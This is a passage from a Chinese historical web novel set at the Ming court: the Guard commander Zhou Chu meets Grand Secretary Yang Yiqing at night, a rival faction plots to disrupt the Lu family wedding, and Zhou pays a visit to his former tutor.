在周楚的示意下,他才把调查结果当着陆炜的面说了出来。 陆炜听到这话,顿时目瞪口呆。 “你是陆家的二公子,如今无论是陆家还是我,都有无数双眼睛盯着,无数人恨不得我和大哥去死,你以后如果管不住自己的裤裆,就多去教坊司,其他地方的女人,不能再接触了。” 周楚满脸严肃地看着陆炜道。 陆炜此时也意识到了事情的严重性,一想到自己差点将对陆家图谋不轨的女人娶过来,他就觉得头皮发麻。 “我以后不会乱搞了。” 陆炜急忙保证道。 周楚听到这话,点了点头,旋即满脸寒光。 “看来这些人终究是坐不住了。” 第283章 周楚杨一清夜谈,物质不灭,不过是粉碎罢了 当天晚上,周楚正在书房写字,春兰敲了敲房门。 “少爷,首辅杨大人要见您。” 周楚听到这话,放下了手中的毛笔。 “让他进来吧,对了,去把陈通叫过来。” 对于杨一清深夜来访,周楚并不意外,杨一清来找自己,无非是为了自己的孙子杨盛斋将来的仕途。 无论是杨一清亦或是谢迁,都到了这个岁数了,杨一清已经位极人臣,想要更进一步,几乎不可能了,也就没了那个心气,两人更多的是为子孙铺路罢了。 但杨一清和周楚明面上毕竟是不对付的,所以杨一清不可能白天大张旗鼓的来,现在过来,倒也合情合理。 只是杨一清来找自己,这事可以瞒着其他人,但不能瞒着皇帝,否则一个内阁首辅,一个锦衣卫指挥使,这两人暗中勾搭在了一起,皇帝会怎么想? 这也是周楚让春兰将陈通叫过来的原因,陈通作为皇帝的耳目,周楚这个时候将他叫过来,如此一来,自己和杨一清说了什么,都会传到嘉靖耳中,嘉靖也就不会有所猜疑。 很快,杨一清在春兰的带领下来到了周楚的书房之中,紧接着陈通也走了进来。 陈通似乎明白周楚叫自己来干什么,进来之后安静地站在角落,充当着一个合格的隐形人,一句话也不多说。 杨一清也只是看了一眼陈通,瞬间就明白了眼前这个太监可能是皇帝的人,内心不禁对周楚高看了一眼。 怪不得皇帝从来不怀疑这位锦衣卫指挥使呢,能做到这个地步的,又能有几人? “不知首辅大人深夜来访,所为何事?” 周楚似笑非笑道。 “年纪大了,觉就少了,左右睡不着,就想着来周大人府上看看,素闻周大人的字写的不一般,师从唐伯虎和文徵明,今日一见,果然名不虚传,已经初具大家气派了。” 杨一清看了看书案上,周楚刚才写的字,忍不住夸赞道。 这话倒不是杨一清恭维周楚,而是周楚的字真的已经成了气候,毕竟先是跟着唐伯虎学了那么多年,打下了扎实的基础,随后文徵明又把属于他自己的技法教给了周楚。 书法一道,只要基础打好了,后面就是一通百通,周楚根据文徵明的技法坚持每日练字至今,书法又得到了长足的进步。 单论书法一道,文徵明要强于唐伯虎不少,文徵明的书法,不仅可以称得上当世第一,即便放在整个历史之中,也是排的上号的。 而唐伯虎的字,放在整个历史的维度之中,就有些拿不出手了。 “杨大人谬赞了,书法一道,博大精深,当初我刚和老师学的时候,觉得老师的字不过如此,学了一段时间之后,才发现老师的字写的有多好,后来基础练的扎实了,又认识了徵明老师,才发现一山更有一山高。” 周楚一边说着,一边让书房里伺候的侍女倒了杯茶水放到杨一清面前。 “石淙先生这么晚来,应该不是来找我逗闷子的吧?” 周楚抿了口茶水道。 杨一清倒也不急,仔细品了品茶水。 “好茶,这应该是今年刚下来的雨前龙井吧。” 杨一清忍不住夸赞道。 “杨大人真是见多识广,连新茶老茶都喝的出来。” 周楚笑道。 这茶叶确实是今年刚下来的雨前龙井,现在的龙井和后世的龙井可不一样,后世很多龙井都只是打着龙井的旗号罢了,真正最正宗的龙井产地只有浙江的狮峰山,产量很有限,周楚手中的龙井还是今年这一批雨前龙井之中最顶尖的一批,是绍兴知府董瑞特意孝敬自己的。 董瑞作为绍兴知府,绍兴离狮峰山本身就不远,狮峰山每年产出的最顶级的一批茶叶,肯定是优先供给给董瑞这种当地官员的。 京城之中的官员倒是也能得到一批,不过还要晚一些,毕竟雨前龙井才刚下来没多久,流转需要一定的时间,最起码杨一清这个内阁首辅还没收到今年新的一批雨前龙井,不过应该也快了。 很多顶级的资源,如这种最顶级的雨前龙井,几乎不在民间流通,真正拥有这些东西的人,是不需要花钱的,想要用钱买的,却买不到。 “毕竟黄土埋到脖子了,老夫这辈子喜欢的东西不多,这狮峰山的龙井就是其中之一。” 杨一清有些自得道。 “今年的龙井下面的人还没送来,倒是在周大人这里尝了鲜。” 杨一清看着周楚,满含深意道。 周楚听到这话,笑了笑。 “我也是刚从绍兴回来,绍兴离那狮峰山不过百十里,这些茶叶都是绍兴知府送来的,我也不太懂茶,今日也算是借花献佛了。” 杨一清听到这话,点了点头。 “那倒也是,其实我很羡慕谢迁,这个老小子每年总是能第一个拿到新下来的龙井,就因为他老家是余姚的,我却要等很久。” 杨一清叹了口气道。 周楚听到这话,不置可否,没有继续接话,杨一清和自己打太极,自己更不着急,反正不是自己的孙子。 杨一清看着周楚气定神闲的模样,无奈的笑了笑。 “周大人有时候真不像年轻人,这养气功夫比我这个老骨头也不遑多让。” “杨大人这话就有些过了,在下不过是无欲则刚罢了。” 周楚无所谓道。 杨一清听到这话,想想也是,本身就是自己登门拜访,还非要等人家先开口,这未免有点不现实。 “周大人所言极是,老夫前来,也是为了我那个不成器的孙子,如今他既然已经拜入你的门下,以后任打任罚,老夫绝无二话,他想走什么路,老夫也绝不干涉,老夫只是作为他的长辈,自然要来拜访周大人,以全师礼。” 杨一清说道。 周楚听到这话,点了点头。 “盛斋读儒学或许不会有多大成就,但他在格物学的天分确实出奇的高,格物学才是真正经世致用的学问,将来我大明能否彻底兴盛,还得靠格物学。” 对于杨一清,周楚并没有什么藏私,从杨一清对杨盛斋的态度周楚就能看的出来,眼前的这位内阁首辅虽然年近七十了,但眼光和格局却从未拘泥和腐朽。 否则杨一清也不会放任自己的孙子去余姚求学,更不会在得知杨盛斋被任命为锦衣卫千户之后,还帮他出谋划策。 周楚喜欢和聪明人交流,因为聪明人更能理解自己说的话的意思。 和蠢人,周楚甚至没有交流的欲望。 果然,杨一清听到这话,倒没有第一时间质疑。 “周大人做的那些个叫什么,实验?老夫倒也有所耳闻,真是叹为观止,老夫对格物学没什么研究,不过老夫相信周大人的眼光,只是想让大明再次兴盛,谈何容易啊。” 杨一清叹了口气道。 “事在人为,有些事总是需要有人去做的,即便跌的粉碎,要是要去做的,物质不灭,不过是粉碎罢了。” 周楚淡然一笑道。 “物质不灭.....物质不灭.....” 杨一清不断地说着这四个字,越说越觉得其中蕴含着某些至理。 “周大人不愧是我大明的股肱之臣,老夫自愧不如。” 杨一清说这话的时候,不知不觉间,眼角有些湿润了。 他想起了自己年轻的时候,那个时候的自己一腔热血,一心想的都是为国为民,但随着在官场的不断沉浮,杨一清渐渐丢掉了初心。 现在周楚的这几句话,让他有种如梦初醒的感觉。 杨一清不禁有些感动,也不知是为周楚感动,还是为年轻时候的自己感动。 “周大人需要提防这朝中的文武百官,今日他们在朝会上弹劾你,想来是出于毛纪或者夏言的授意,朝中党派屡禁不止,说白了这些官员都想找一棵大树攀附。” “被攀附之人,很多时候做事就身不由己了,之前的杨廷和如此,有段时间老夫也是如此,这些人是杀不绝的,想当初洪武一朝,太祖皇帝杀了数万人,后来的人也没有觉得多害怕,一旦入了官场,很多人就变了,为了权利,不择手段。” 杨一清感慨道。 周楚点了点头,没有反驳。 “这个问题自古以来一直存在,两汉形成的门阀,两晋南北朝门阀士族发展到了巅峰,再到唐朝,门阀被削弱,甚至被逐步消灭,门阀消失了,但中间还有一个阶层,隔绝在皇帝和底层百姓之间,攫取着每一个王朝的气运。” 周楚看着手中的茶杯,罕见的说出了这个问题。 “我知道,我可能有些自不量力,蚍蜉撼树谈何易,不过不去尝试,又总不甘心,能做到哪一步,我也不清楚,或许等我死后,就会被彻底清算,我所做的一切也都会被抹平,不过我不在乎。” 周楚说着,将手中的茶水一饮而尽道。 杨一清听到这话,深受触动。 “当年王安石也试图推动改革,但他死后,所有的改革成果全都被推翻,那些人更强烈的反扑,也不知道你能做到何种地步,不过老夫倒是可以舍命陪君子,陪你折腾一番。” 周楚听到这话,笑了笑,满脸调侃地看着杨一清。 “首辅大人是担心被毛维之扳倒,晚节不保吧。” 杨一清听到这话,丝毫没有被拆穿心思的尴尬,反而是一脸理所当然。 “那是自然,老夫都这把年纪了,自然想要个体面的退场,内阁首辅的位置,老夫可以主动让出来,但他毛维之不能伸手来抢,敢伸爪子,就要做好被砍掉的准备。” 杨一清说这话的时候,满脸的高深莫测,这一刻,周楚才明白杨一清为何能坐到内阁首辅的位置。 能在这波谲云诡的朝堂上屹立不倒的,没有一个不是狠人,包括杨慎。 杨慎够纯粹,纯粹到只站在大明和百姓这边,纯粹到可以丝毫不顾自己的个人感情,仅仅是当初帮助嘉靖和周楚扳倒自己的父亲杨廷和这一点,有几个人能做到? 关键杨慎当初心中并无所求,这才是最狠的,倘若杨慎做这一切都是为了升官发财,那他坐不到今天的位置,他会为所有人所不齿。 偏偏杨慎一身正气,正到发邪,正到所有人都看得出来,他扳倒杨廷和并不是为了自己,倘若真的是为了私心,杨慎早就像杨廷和一般,结党营私了,但杨慎如今是整个朝堂所有官员之中,和其他官员来往最少得一个。 是一个真正的孤臣。 这样的人,再加上他文坛泰山北斗的身份,整个朝堂之上,其他官员面对杨慎的时候,气势上天然就矮了一分,即便是和杨慎不对付,内心也都对杨慎很钦佩。 当然,钦佩归钦佩,该攻讦的时候,这些人可不会丝毫留手,这就是党争,不是你死就是我活。 “有首辅大人这句话,我倒是放心多了。” 周楚说道。 无论是谢迁,亦或是杨一清,周楚并未对这两人抱有太大的期望,倒不是说周楚怀疑两人的用心,只是这两人一个年近七十,一个七十多了,这两人还能折腾几年呢? 毕竟不是每个内阁首辅都能像严嵩那般,干到八十多的。 两人或许可以帮周楚一段时间,但剩下更多的路,还需要周楚自己去走,周楚要走的路很长,长到可能看不到尽头,长到可能走到最后,只剩下孤身一人。尛說Φ紋網 周楚甚至不清楚,自己现在身边的这些人,包括自己的那些学生,胡宗宪等人,有几个能和自己一直走下去的,或许走着走着,就会对自己所做的一切不认同,不理解。 这些周楚早就做好了心理准备。 “老夫能做的也很有限,不过能帮到陛下和周大人,老夫也算是为大明尽一份力了。” 杨一清说完这话,就起身告辞了。 一旁的陈通默默地将两人的对话一字不漏的记在了心里。 “陈通,你跟我多久了?” 杨一清离开之后,周楚看着陈通问道。 “回大人的话,小的跟在大人身边有一年多了。” 陈通低眉顺目道。 “时间过的真快啊。” 周楚一边说着,一边拿出几张银票,递给了旁边的婢女。 “你们跟着本官,倒是委屈了,这些银钱拿去你们几人分了吧。” 婢女接过银票,递给了一旁的陈通,陈通恭敬接过。 “谢大人的赏。” 陈通看着手中的银票,眼睛顿时挪不开了。 陈通无比庆幸,当初在御马监,自己第一个跟周大人打招呼,否则可能就没有今天的这份差事,这份差事无比轻松,完全不像以前在御马监,要和其他太监勾心斗角,事还多。 关键周大人是真的大方,隔三差五的赏赐他们财物,这种差事打着灯笼都难找。 “下去吧。” 周楚摆了摆手道。 周楚赏陈通银钱,并不是指望陈通为自己说多少好话,周楚只需要陈通如实告诉皇帝就行了。 对于陈通这几个太监,周楚自然不会少了好处。 正所谓阎王好惹,小鬼难缠,陈通要是心里不痛快了,也不用歪曲事实,只需要跟皇帝汇报的时候,说的话略微改一点意思,到了皇帝耳中可能就是另一种味道了。 所以打点好陈通这些人,还是很有必要的。 第284章 毛纪和夏言的态度,洞悉一切的周楚 毛府之中,十几位官员坐在毛府正厅,看着毛纪。 “老师,要我说这锦衣卫指挥使周楚也没什么了不起的,之前他刚出任锦衣卫指挥使的时候,初生牛犊不怕虎,做事不知轻重,自然胆子大,但此一时彼一时,下官可是听说之前周楚躲在那个小山村,都不敢出来,只怕是被那次刺杀吓破了胆子,以后再说什么事,恐怕不会像以前那么没有分寸了。” 礼部侍郎杨廉提起周楚的时候,语气之中多有不屑。 杨廉原本是南直隶的礼部侍郎,南直隶的官员论权利和京城同等职位的官员完全没法比,原本按照正常流程,杨廉应该升任南直隶的礼部尚书,不过彼时京城的礼部侍郎廖峰被周楚杀了,礼部侍郎的位置悬而未决。 杨廉本就是毛纪的门生故吏,看到机会的杨廉不断地给毛纪写信,表述自己多么思念老师,并且还让人给毛纪送去了很多珍宝古玩。 杨廉很清楚,和南直隶的礼部尚书相比,京城即便只是个礼部侍郎,也要强得多,能在京城为官,才是真正的进入权利核心,彼时南直隶考成法还未实施,杨廉自然希望进入京城为官。 只有在京城,在权力的核心,他才有更进一步的机会,在南直隶,做到礼部尚书也就到顶了,没什么意思。 杨廉成为礼部侍郎之后,并不安分,开始上下串连,帮助毛纪牵线搭桥,如今攀附毛纪和夏言的这些官员,多半都是杨廉的功劳。 因此在毛纪和夏言这个集团之中,除了毛纪和夏言,杨廉可谓是第三号人物了。 “是啊大人,杨大人说的有道理,要我看现在这周楚就是被套了鼻环的牛,以前他是初生牛犊,现在可不同了,大人何必瞻前顾后。” 另一个官员附和道。 毛纪听到这话,看向了一旁的夏言。 “公谨,你怎么看?” 夏言听到这话,抬了抬眼皮,看向了志得意满的杨廉等人,心中冷笑不已。 别人不清楚周楚的厉害,他夏言再清楚不过,当初在江南省的时候,他但凡回京慢一点,可能都被周楚顺手弄死了,现在每每午夜梦回,夏言还时常被惊醒,每次惊醒的时候都是一身冷汗。 不过这种想法,夏言也只能想想,是万万不能说出来的,因为这些人攀附了自己和毛纪,一旦自己长他人志气灭自己威风,底下的这些官员都会不满,会生出异心,很多时候一旦到了某个位置,一旦被无数人攀附之后,想说什么想做什么,其实根本由不得自己。 夏言清楚,毛纪心里也清楚这些人根本没认清周楚的可怕之处,不过他也不会打击这些人的自信心,有这些人冲锋陷阵是好事,哪怕他们被周楚查办了,还会有源源不断的官员补充上来。 底下的这些官员,总是要找人攀附的,杨一清如今被吓破了胆子,或者说他老了,没了那个心力,自然不会再搭理这些官员。 周楚这个锦衣卫指挥使,提拔的官员也就严嵩张璁之流,顺带着还有一个韩玠,其他官员想要攀附周楚,连门路都找不到。 夏言很清楚,这是周楚的聪明之处,同时也是不聪明之处。 周楚聪明的点在于,他是锦衣卫指挥使,锦衣卫的权利完全来自于皇帝,周楚这个锦衣卫指挥使是万万不能结党的,否则皇帝未必容得下他。尛說Φ紋網 但这同样也是周楚的不聪明之处,下面的这些官员,一个个都嗷嗷待哺,谁都想进步,谁都想找门路,谁阻挡他们的门路,谁就是他们的敌人,周楚不结党,这些人肯定会想办法攀附其他人,现在这种局面就是最好的证明。 这些人攀附了自己和毛纪,就会成为周楚最大的敌人,这是一股很大的势力,可以说是如今朝堂上最大的一股势力,也就是毛纪不是内阁首辅,倘若毛纪成了内阁首辅,夏言再入阁,他们甚至可以和皇帝掰一掰手腕。 这样一股势力,对付起来周楚,不说一定能将周楚置于死地,但肯定会让他疲于应付。 有时候夏言都不得不感慨,同样一件事,同样的一个决定,能为一个人带来好处的同时,可能会给他带来无穷的危机。 同样一件事,在此时能成就你,或许在未来就能毁了你。 “从这半年周衡器的行事风格来看,他确实收敛了许多,方震说的不无道理。” 夏言点头道。 方震正是杨廉的字。 杨廉是江西人,和严嵩夏言都算得上是老乡,两人原本就很熟悉,夏言此时不反驳杨廉的话,一方面是想让杨廉带着人去冲锋陷阵,另一方面也要照顾杨廉的脸面。 “老爷,那怡春楼之中的春盈,被北镇抚司带走了,他们似乎查出了什么。” 众人正志得意满的时候,毛府的管家来到毛纪面前,低声道。 毛纪听到这话顿时一愣,不过并没有表露声色,因为他很清楚这个时候如果将这件事告诉其他人,对他们的士气会是很大的打击。 毛纪不动声色地摆了摆手,示意管家下去。 管家离开之后,毛纪越想越觉得心里发毛,那怡春楼的春盈本就是他安排的一步闲棋,能起作用最好,哪怕起不了作用,也损失不了什么。 他的管家虽然负责联系春盈,却也做的极为隐蔽,基本上每次去都是后半夜无人的时候,毛纪怎么都没想到,即便如此,还是被周楚的人查出了马脚。 不过毛纪倒也不怕,毕竟就算春盈承认了她是自己的人,最多也就被北镇抚司杀死,北镇抚司弄死一个青楼的头牌,甚至都不需要向任何人交代,也不需要任何理由。 但如果北镇抚司想用春盈攀咬自己,根本就不可能,因为春盈到目前为止,什么事都还没做,北镇抚司没有任何理由攀咬自己。 想到这里,毛纪稍微松了口气,同时对周楚以及北镇抚司查案的能力有了更直观的认知,心中对周楚的忌惮愈发深。 “老师,我觉得可以试一试这周楚,看看他是否还像刚成为锦衣卫指挥使那般不知轻重。” 杨廉信心满满道。 “哦?方震有何办法?” 毛纪看着养廉,故作惊讶道。 “陆家二公子眼看着就要大婚了,大婚当日,我们可以安排人手,在接亲的路上劫走新娘,当然,安排的这些人一定要和我们撇清关系,到时候周楚会作何反应,我们不就清楚他的底细了吗?” 杨廉说道。 其他官员听到这话,眼睛顿时亮了,他们都是后来者,对于周楚这位锦衣卫指挥使的威势没什么直观的感受,毕竟他们入京以来,周楚基本都不在京城之中。 他们对周楚并没有多少敬畏之心,所以杨廉的话能引起他们的共鸣。 毛纪和夏言听到这话,内心直发毛,这他妈不是去摸老虎的屁股吗?和找死有什么区别?不过两人转念一想,反正摸老虎屁股的也不是自己,既然杨廉想做,那就让他去做,或许杨廉说的真有道理呢?或许周楚真的被这次刺杀吓破了胆子呢? “老夫真是上了年纪了,有些困顿了,诸位散了吧。” 毛纪说着打了个哈欠,摆了摆手道。 众人听到这话,互相看了一眼,纷纷起身告辞。 “方震,老师到底是什么意思?” 刚出了毛府,另一个官员看着杨廉,满脸不解道。 杨廉听到这话,自信一笑。 “老师还能是什么意思?倘若老师不赞成我的想法,当时就阻止了,老师既然没阻止,那便是赞同,不过这话以老师的身份自然是不能明说的,不然日后被北镇抚司查到什么,老师就脱不开干系了。” 杨廉的话一出,其他官员眼睛顿时亮了。 “方震,我等好好谋划一番。” 正所谓事以密成,言以泄败,杨廉谋划的这件事这么多人知道,想要瞒过周楚的耳目,难如登天,实际上这些官员的府上,包括杨廉府上,甚至是毛府,都有锦衣卫的人。 关于杨廉等人的谋划,当天就传到了周楚耳中。 周楚得到这个消息之后,冷笑不已。 既然已经知道了,那就要提前布局,这些人不是要试探自己吗?那么自己就给他们想要的结果,如此一来,他们才会跳的更高,其他人才会纷纷攀附。 周楚很清楚,现在还有很多官员在观望,观望自己的态度,犹豫不决,倘若自己表现的踌蹰不前,那么很多人就会认为自己怕了。 周楚在张家村待这么久,就是为了营造这种氛围,现在正是下网的时候,下的网越深,到时候收割的就越多。 只是如此一来,倒是要委屈一下杨苒了,周楚要事先做好安排,确保杨苒的万无一失。 杨苒毕竟是未出阁的姑娘,周楚不能贸然将杨苒叫到自己面前来,而且就算能贸然叫过来,也容易打草惊蛇,不如自己去拜访一下。 真要是说起来,自己也有许多年没见过这位夫子了,倒是听文心说过,夫子这几年老了许多,作为学生,也是时候去拜访一下了,毕竟当年倘若没有杨夫子,自己也不可能拜唐伯虎为师。 唐伯虎虽说实际上没有帮到周楚什么,但当初周楚十岁就去跟着沈青做生意,心里是完全没底的,很多时候,人做事需要底气,一件事想是一回事,真正有勇气去做又是另外一回事。 当时的唐伯虎在周楚身边,就是周楚的底气,唐伯虎好像一直在跟周楚有意无意地传达着一个信息,放手去做,无论如何为师都可以为你兜底。 那几年,关于杨夫子,唐伯虎倒也和周楚谈起过,按照唐伯虎的说法,杨夫子性子本就古板守旧,也怕惹事,话里话外的意思都是让周楚不要和他计较。 实际上根本不用唐伯虎劝说,周楚一直都想的很明白,什么人该说什么话,该做什么事,周楚从来都看的很透彻。 就像管仲和鲍叔牙,鲍叔牙向齐桓公举荐管仲的时候,很清楚管仲是个什么样的人,什么样的性格,之前他和管仲合伙做生意,管仲一而再再而三的占他的便宜。 很多人都劝鲍叔牙离管仲远一些,但鲍叔牙从始至终都明白管仲是什么人,他帮管仲,是因为他知道管仲是大才,他帮管仲的时候,从未想过在管仲身上获得什么样的回报。 哪怕后来管仲要死了,齐桓公让管仲举荐宰相人选,管仲没有举荐鲍叔牙,因为管仲很清楚鲍叔牙没有宰相之才,鲍叔牙也从未因此怨恨管仲。 对自己,对管仲,甚至对其他人,鲍叔牙一直都有着清晰的认知,在帮一个人之前,就想明白所有的事,哪怕这个人以后对自己如何,也不会记恨,这才是真正的虚怀若谷。 周楚一直以来奉行的也是这个原则,就像周楚培养胡宗宪,培养赵贞吉这些人,周楚很清楚,将来这些人未必能坚定地跟着自己一直走下去,但即便如此,周楚也会不遗余力的培养他们。 因为周楚清楚,大明不能只有一个声音,将来即便是这些人和自己走的不是一条路,但只要有这些人在,大明再差也不会差到哪里去。 对于杨夫子,周楚自然也看得明白,所以根本谈不上怨恨,这么多年周楚也是太忙了,再加上杨夫子确实觉得自己没脸来见周楚,所以即便他的这个学生成了锦衣卫指挥使,但杨夫子却从未在外人面前提过一次。 “春兰,备份礼,我要去杨夫子家拜访。” 周楚看着春兰道。 春兰听到这话,急忙着手去准备,周楚去见什么人,该备什么礼,春兰总是能拿捏的恰到好处。 周楚和杨夫子之间的关系和故事,春兰自然是清楚的,春兰更清楚,杨夫子对自家少爷的态度多半是愧疚的,所以春兰并不会备太贵重的礼,太贵重的话,杨夫子只会觉得更加羞愧。 而且杨夫子是书香世家,有着读书人的清贵。 春兰让人准备了笔墨纸砚,这几样都是上好的,虽然价值不菲,但对周楚而言,不值一提,对杨夫子而言,相较于其他礼物,笔墨纸砚更容易接受,毕竟当初是杨夫子算是周楚的第一任老师,给老师送笔墨纸砚,再合适不过。 周楚看着春兰拿过来的礼,很是满意,春兰做事愈发合自己的心意了,很多事周楚甚至不需要多交代,春兰都能办的很妥帖。 这次周楚出门没有骑马,而是坐着马车,毕竟登门拜访,还是周楚的老师,骑马前去多少有些不太恭敬,马车更合适一些。 沈炼和大柱则骑着马跟在后面,大柱入职锦衣卫之后,职务和沈炼一般无二,也成了周楚的护卫,对于大柱,周楚要带在身边,好好培养。 之前去教坊司,周楚怕大柱被教坊司迷了眼,就没带他。 “这位公子,请问您高姓大名,所为何事?” 杨府的门房看到周楚的行头,以及跟在周楚身后的沈炼和大柱,意识到了周楚身份的不一般,神情恭敬道。 “在下周楚,前来拜访老师。” 周楚笑道。 第285章 再见杨夫子 周楚通报姓名的时候,没有带自己的官职,因为周楚觉得自己当初跟着杨夫子学习的时候,还只是个书童,没有任何身份,现在自然也不需要拿自己的身份说事。 更何况到了周楚这个位置,早已不需要用官职来凸显自己的身份了。 周楚这个名字就代表了一切。 果然,门房听到周楚两个字,又看了一眼身后人高马大的沈炼两人,瞬间意识到了周楚的身份。 锦衣卫指挥使周楚。 门房在杨家干了很多年了,自然是知道杨夫子和周楚之间的关系的,他记得多年前的一段时间,自家老爷每每回家的时候,都会对陆家的一个小书童赞不绝口,这个书童的名字正是周楚。 后来门房听说新上任的锦衣卫指挥使就叫周楚,而且和陆家关系匪浅,周楚和陆家的关系本身就不是什么秘密,门房自然清楚这个锦衣卫指挥使,就是之前老爷经常夸赞的那个书童。 也算是老爷的学生之一。 至于自家老爷为何从来不提锦衣卫指挥使是他的学生,门房毕竟只是个门房,明白什么该打听,什么不该打听。小說中文網 知道周楚的身份之后,门房的腰弯的更低了。 “小人有眼不识泰山,周大人恕罪,小的这就去通禀老爷,周大人.....” 门房有些犹豫道。 按照自己老爷定下的规矩,任何人来访都要先通禀,但眼前的可是锦衣卫指挥使,自己要是让他在这里等,惹怒了这位大人,光是想想,门房就觉得头皮发麻。 “我未曾递拜帖,本就礼数不周,你去通禀便是,我在这里等着。” 周楚摆了摆手道。 门房听到这话,顿时松了口气,急忙转身,一路小跑进了杨府之中。 一个五十多岁的小老头,跑的比谁都快,生怕让周楚久等。 没过多久,杨夫子带着门房快步来到了门口。 此时的杨夫子和七年前相比,苍老了许多,满头白发,脸上也多了许多皱纹。 再次见到杨夫子,周楚不觉有些恍惚,此时周楚才发现,从自己进入京城之后,已经过去了这么多年了。 “学生见过老师。” 周楚行了个学生礼道。 杨夫子看到周楚的这个学生礼,眼睛顿时湿润了,他不着痕迹的抹了抹眼泪,抓住周楚的手。 “你能不怪老夫,还能认老夫这个老师,老夫羞愧无比啊。” 杨夫子这些年来,一直都对这件事耿耿于怀,抑郁在心,他作为一个读书人,在陆家落难的时候,本该出手相助,但当时他的夫人却是怎么都不愿意,生怕给他们家惹来祸事,杨夫子无奈,只能放弃。 最开始的那一年,杨夫子经常悄悄去周楚店铺所在的巷子,远远地看着周楚铺子里的情况,却是不敢接近,生怕被周楚看到。 杨夫子很清楚,那时候的周楚才十岁,还要养活陆家的小女儿,吃了多少苦,受了多少罪,他看在眼里,愧疚在心。 后来他听说周楚每个月拿着自己辛苦赚的钱,去大狱之中打点,心中更是羞愧无比,干脆连周楚店铺附近的巷子都不敢去了。 后来虽然因为杨氏的主动,两家恢复了往来,甚至定了亲,但横在杨夫子心里的这根刺一直都没有拔出来,因为周楚这位锦衣卫指挥使,他最引以为豪的学生,似乎从未谅解他。 杨夫子自然是没脸去周府找周楚的,事情就这么一直拖着了。 周楚很清楚,杨夫子对自己这般看重,多半是因为自己如今的身份,倘若自己还是当年那个书童,或者只是一个小小的商人,杨夫子或许会有一些愧疚,但不会很多。 甚至完全不会把自己放在心上。 不过人性如此,万事不能较真,若是事事都较真,没有几个人的人心能细看。 “老师言重了,学生这些年一直记挂着老师,只是公务繁忙,自从入仕之后,忙的脚不沾地,去年基本都在江南,半年前倒是想来拜访老师的,只是当时情况特殊,怕连累老师。” 周楚情真意切道。 杨夫子听到这话,愈发感动了,他没想到自己的这个学生从未怪过自己,想想也是,能为陆家做到那种地步的,又岂会是心胸狭隘之辈。 周楚说的半年前的事,杨夫子虽然不太清楚,却也略有耳闻,半年前周楚回京的时候,似乎陷入了危局之中,杨夫子还听闻那些天周楚整日在家中买醉。 “你能来看老夫,老夫就很高兴了,这些年,每每想起当年,老夫就羞愧难当。” 杨夫子一边带着周楚往正厅方向走,一边说道。 他甚至不敢在周楚面前自称为师,只能自称老夫。 周楚自然清楚杨夫子的心思,倒也没有刻意纠正。 很快,两人就到了正厅,周楚拿出春兰备好的笔墨纸砚,放在了桌子上。 “学生左思右想,来拜访老师还是不要送些俗物,当初学生跟着老师学了很多,这文房四宝对读书人而言尤为重要,想来老师应该会喜欢。” 周楚将笔墨纸砚放下之后,说道。 杨夫子稍稍看了一眼,只是粗看一眼,他就能看的出来,那砚台是最顶级的端砚,用端砚研墨不滞,发墨快,研磨出来的墨汁细滑,书写流畅不损伤笔毫,最顶级的端砚,无论是酷暑还是严冬,用手按其砚心,砚心湛蓝墨绿,水气久久不干,可谓是呵气成墨。 杨夫子此时虽然没工夫用手心去按压砚心,却很清楚以周楚的身份,但凡拿出来的,必然是最顶级的端砚。 墨更是桐烟徽墨,最名贵的墨之一。 文房四宝,每一样都是市面上能买到的最好的。 杨夫子这等读了一辈子书的老夫子对这种文房四宝的喜爱程度,远超对其他事物的喜爱,如果不是周楚在场,他都恨不得立刻拿起这端砚细细端详把玩。 “这未免太过名贵了些,老夫受之有愧啊。” 杨夫子虽然嘴上这么说,但眼睛根本离不开这几样东西。 “老师说的哪里的话,当初老师对我和文心可谓是尽心尽力,学生能认识伯虎老师,也多亏了老师穿针引线,老师于我,于文心,已经做到了该做的,这文房四宝老师收下便是。” 周楚笑道。 杨夫子听到这话,叹了口气。 “时间过的真快啊,一晃眼这么多年就过去了,老夫年岁也大了,不过能看到你和文心如今的境遇,也算是放心了,特别是文心,如今也算是走上正路了,想当初刚跟着老夫学的时候,还是一副吊儿郎当的模样。” 杨夫子有些伤感道。 “将来文心不只是老师的学生,还是老夫的佳婿,可谓是亲上加亲,以文心如今的才学,下一届乡试必然能中举,到时候科举高中,入仕也是水到渠成的事,前途不可限量。” 周楚从旁边的下人手中接过茶杯,喝了口茶道。 杨夫子听到这话,倒是没有反驳,反而是欣慰的点了点头。 “老夫也没想到,当年还有些顽劣的文心,如今有了这般才学。” 第286章 陆炳的担忧,周楚的布局 “老师,学生前来,还有一事。” 周楚放下茶杯道。 “何事?衡器直说便是。” 杨夫子此时心情极好,他可不认为周楚登门拜访是为了求自己办什么事,如今整个京城,乃至整个大明,不知道多少官员想要走周楚这位锦衣卫指挥使的门路而不得。 倘若有周楚解决不了的事,自己又何德何能,能帮得上忙? 退一万步来讲,就算是周楚有事让自己帮忙,杨夫子高兴还来不及呢,以如今周楚的身份地位,无论是谁能帮上忙,周楚肯定不会亏待。 虽然杨夫子不会抱有这等功利的想法,但倘若能帮到周楚,他还是很高兴的。 周楚并没有说话,而是看向了一旁伺候着的婢女。 “你们先下去吧,把门关上。” 杨夫子看了一眼婢女,挥手道。 婢女听到这话,纷纷行礼退下,出门的时候还把正厅的门给带上了。 “老师应该知道,学生这两年作为锦衣卫指挥使,得罪的官员无数,很多人想要置学生于死地,还有文孚大哥,作为皇帝的近卫,也是很多人的眼中钉肉中刺,这些人明里不敢做什么,又想试探学生的底线,这次文心大婚,学生得到消息,这些人恐怕会在接亲的路上动手脚。” 周楚面容严肃道。 杨夫子听到这话,顿时心中一紧,这岂不是意味着大婚当日,有人要对自己的女儿下手? “此事当真?小女可有危险?” 杨夫子有些急迫道。 “老师放心,这些人不过是想试探一下学生罢了,并不会真的劫走新娘子,谅他们也没有这个胆子,这件事老师只需告诉令嫒,让她有个准备,届时不必过于惊慌即可,这件事还望老师不要告诉其他人,以免打草惊蛇。” 周楚看着杨夫子道。 杨夫子听到自己的女儿不会有危险,顿时松了口气。 “我定会好好叮嘱于她,不会走漏风声。” 杨夫子近乎保证道。 周楚听到这话,点了点头。 “那就有劳老师了,因为学生的原因,才会有这些腌臜事,学生愧对老师。” 杨夫子摆了摆手。 “衡器说的这是什么话?你是老夫的学生,只要你还认老夫这个老师,老夫自然应当担起这些干系。” 杨夫子此时说话硬气豁达了许多,这也并非全是场面话。 杨夫子一辈子都被他的夫人管着,很多事想做又做不了,心中很是憋闷。 